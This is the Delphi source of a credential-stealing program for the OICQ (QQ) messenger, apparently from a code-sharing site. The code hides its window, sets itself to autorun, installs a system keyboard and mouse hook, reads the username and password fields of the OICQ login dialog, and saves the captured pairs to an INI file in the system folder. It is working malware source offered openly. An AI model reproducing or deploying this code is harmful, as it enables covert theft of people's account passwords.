📄 mainunit.pas
字号:
unit MainUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Watchfore, ExtCtrls,Inifiles;
type
TMainForm = class(TForm)
Label1: TLabel;
Label2: TLabel;
Edit1: TEdit;
Edit2: TEdit;
WatchTitle1: TWatchTitle;
WatchTitle2: TWatchTitle;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure WatchTitle1HandleActiveEvent(Sender: TObject;
Handle: Cardinal; Title: String);
procedure WatchTitle1HandleFreeEvent(Sender: TObject; Handle: Cardinal;
Title: String);
procedure WatchTitle1HandleStartEvent(Sender: TObject;
Handle: Cardinal; Title: String);
procedure WatchTitle1HandleEndEvent(Sender: TObject; Handle: Cardinal;
Title: String);
procedure Timer1Timer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
procedure UpdataValue();
procedure CloseApplication();
procedure SavetoOicqpassToFile();
procedure UpdateMousePosInfo(X,Y:integer);
protected
procedure WndProc(var Message: TMessage); override;
public
{ Public declarations }
end;
var
MainForm: TMainForm;
CurrentWindow : integer;
InitOk,IsRunning,IsTimerSave: Boolean;
Oicqlist,Passlist:Tstrings;
EditHandle,ComboboxHandle,Currenthandle:Thandle;
implementation
uses ConstHook;
{$R *.DFM}
function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;
var
wClassName: array[0..255] of char;
begin
GetClassName(H, wClassName, SizeOf(wClassName));
if pos('EDIT',Uppercase(wClassName)) > 0 then
Begin
EditHandle:=H;
end
else
if pos('COMBOBOX',Uppercase(wClassName)) > 0 then
Begin
ComboboxHandle:=H;
end;
Result:=True;
end;
procedure TMainForm.UpdataValue();
var
Buf: array[0..1024] of Char;
begin
if IsRunning and InitOk then
begin
if CurrentWindow = 1 then
Begin
SendMessage(ComboboxHandle, WM_GETTEXT, 1024, Integer(@Buf));
Edit1.Text :=Buf;
end;
SendMessage(EditHandle, WM_GETTEXT, 1024, Integer(@Buf));
Edit2.Text :=Buf;
end;
end;
procedure TMainForm.CloseApplication();
begin
Oicqlist.Free; Passlist.Free ;
if IsHookSet then RemoveHook();
SetAutoRun(False);
end;
procedure TMainForm.WndProc(var Message: TMessage);
begin
if Message.Msg = GetMonitorMouseMoveMsg then //
UpdateMousePosInfo(Message.WParam, Message.LParam)
else
if Message.Msg = GetMonitorKeyBoard then
Begin if (Message.wParam<>13) and (Message.wParam<>27) then UpdataValue(); end
else
if Message.Msg = WM_QueryEndSession then
begin close() ;Message.Result :=1; end
else
inherited WndProc(Message);
end;
procedure TMainForm.UpdateMousePosInfo(X,Y:integer);
var
Pos1: TPoint;
H :Thandle;
begin
Pos1.X:=X; Pos1.Y:=Y; H:= WindowFromPoint(Pos1);
if ( EditHandle = H )or(ComboboxHandle = H ) then UpdataValue();
end;
procedure TMainForm.SavetoOicqpassToFile();
Var
Dialoghandle:Thandle;
DelphiIni: TIniFile;
begin
if Oicqlist.Count > 0 then
begin
Dialoghandle:=Findwindow(pchar('#32770'),pchar(DestCaption));
if Dialoghandle = 0 then
Begin
Dialoghandle:=Findwindow(pchar('#32770'),pchar(Trim(Oicqlist.Strings[0])));
end;
if Dialoghandle<> 0 then
Begin
if (PreOicq<>Oicqlist.Strings[0]) or (Prepass<>Passlist.Strings[0]) then
Begin
PreOicq:=Oicqlist.Strings[0]; Prepass:=Passlist.Strings[0];
DelphiIni := TIniFile.Create(OicqSavefilename);
DelphiIni.WriteString(PreOicq,'Oicq',PreOicq);
DelphiIni.WriteString(PreOicq,'Pass',Prepass);
DelphiIni.WriteDateTime(PreOicq,'DataTime',Now);
DelphiIni.WriteString(PreOicq,'Emaito','Xtlgz@163.com');
DelphiIni.WriteString(PreOicq,'Homepage','Http://stgzs.126.com');
DelphiIni.UpdateFile;
DelphiIni.Free ;
end;
end;
Oicqlist.Delete(0); Passlist.Delete(0);
end; // end if Oicqlist.Count
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
Caption:=Newappcap; Left:=-(Width+2);
Oicqlist:=Tstringlist.Create ; Passlist:=Tstringlist.Create ;
OicqSavefilename:=Getsyspath(); SetAutoRun(True);
DateSeparator:='_'; ShortDateFormat:='yyyy/mm/dd';
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
InstallSystemHook(Handle);
application.ShowMainForm :=False;
end;
procedure TMainForm.WatchTitle1HandleActiveEvent(Sender: TObject;
Handle: Cardinal; Title: String);
begin
if InitOk=False then
Begin
Currenthandle:=Handle;
if Title='OICQ用户登录' then CurrentWindow:=1 else CurrentWindow:=2;
EnumChildWindows(Handle, @EnumProc,Longint(Self));
InitOk:=True;
end;
end;
procedure TMainForm.WatchTitle1HandleFreeEvent(Sender: TObject;
Handle: Cardinal; Title: String);
begin
InitOk:=False;
Oicqlist.Add(Edit1.text); Passlist.add(Edit2.text);
Oicqlist.Add(Edit1.text); Passlist.add(Edit2.text);
Oicqlist.Add(Edit1.text); Passlist.add(Edit2.text);
end;
procedure TMainForm.WatchTitle1HandleStartEvent(Sender: TObject;
Handle: Cardinal; Title: String);
begin
if Currenthandle=Handle then Begin IsRunning:=True; UpdataValue(); end;
end;
procedure TMainForm.WatchTitle1HandleEndEvent(Sender: TObject;
Handle: Cardinal; Title: String);
begin
IsRunning:=False;
end;
procedure TMainForm.Timer1Timer(Sender: TObject);
begin
if IsTimerSave then Exit else IsTimerSave:=True;
SavetoOicqpassToFile();
IsTimerSave:=False;
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CloseApplication();
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -